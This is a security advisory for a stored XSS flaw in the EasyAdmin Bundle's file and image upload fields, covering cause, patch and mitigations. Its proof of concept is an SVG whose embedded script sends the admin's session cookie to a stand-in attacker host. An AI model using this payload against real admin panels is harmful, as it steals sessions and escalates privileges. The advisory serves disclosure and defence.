CVE-2026-54087: EasyAdmin Bundle Stored XSS via FileField and ImageField Upload
A low-privileged admin user can upload a JavaScript-bearing SVG or HTML file through EasyAdmin's file upload fields, and when another admin opens the stored file from the same origin it executes in th
The problem
EasyAdmin's `FileField` applied zero MIME or extension restrictions before 5.0.13. `ImageField` accepted the full `image/*` wildcard, which includes `image/svg+xml`.
When uploads are stored inside the public web root (the documented default), EasyAdmin links to the file inline with no `Content-Disposition: attachment` header. Any user with access to those upload forms can plant a file that executes JavaScript the moment a more-privileged admin opens the link.
Proof of concept
A working proof-of-concept for CVE-2026-54087 in easycorp/easyadmin-bundle, with the exact payload below.
<!-- Upload this as payload.svg via ImageField, or as payload.html via FileField -->
<!-- The browser fetches it from the same origin as the admin panel -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('/admin?action=...',{credentials:'include'})
.then(r=>r.text())
.then(html=>{
// extract CSRF token, exfiltrate session cookie, escalate privileges
fetch('https://attacker.example/steal?c='+document.cookie);
});
</script>
</svg>SVG is a valid XML document that browsers execute as a full HTML context when served directly from the origin. Because EasyAdmin rendered file links without `download` or `Content-Disposition: attachment`, clicking the upload link served the SVG inline, giving the embedded `<script>` full access to the admin session's cookies and CSRF tokens.
The patch (commit 8132b2b) addressed both vectors: it added an explicit blocklist that excludes `image/svg+xml` and other browser-executable MIME types from `ImageField`'s accepted set by default, added MIME restrictions to `FileField`, and added the `download` attribute to file links in the backend UI.
The root cause is CWE-79 (stored XSS) compounded by CWE-434 (unrestricted upload of dangerous file type).
Note: the `download` attribute is a defence-in-depth measure only. Files are still reachable as static assets at their URL, so server-level `Content-Disposition: attachment` or storing uploads outside the web root remains the complete fix.
The fix
Upgrade to `easycorp/easyadmin-bundle` 5.0.13 or later. If you cannot upgrade immediately: configure your web server to serve the uploads directory with `Content-Disposition: attachment`, or move the upload directory outside the public web root. You can also call `->setFileConstraints(new File(mimeTypes: ['image/png','image/jpeg','image/gif','image/webp']))` on `ImageField` and an equivalent explicit allowlist on `FileField` to restrict accepted types in the meantime.
Reported by Emre Dogan.
Related research
- critical · 9.9FacturaScripts Path Traversal to Remote Code Execution via UploadedFile::move()
- high · 8.7CVE-2026-54064CVE-2026-54064: NukeViet CMS Multiple Anti-XSS Filter Bypasses Leading to Stored XSS
- high · 8.2CVE-2026-48118CVE-2026-48118: NukeViet Unauthenticated Reflected XSS via Base64-Encoded Comment Status Parameter
- high · 8.7CVE-2026-49259CVE-2026-49259: NukeViet CMS Stored XSS via Comment Reply Handler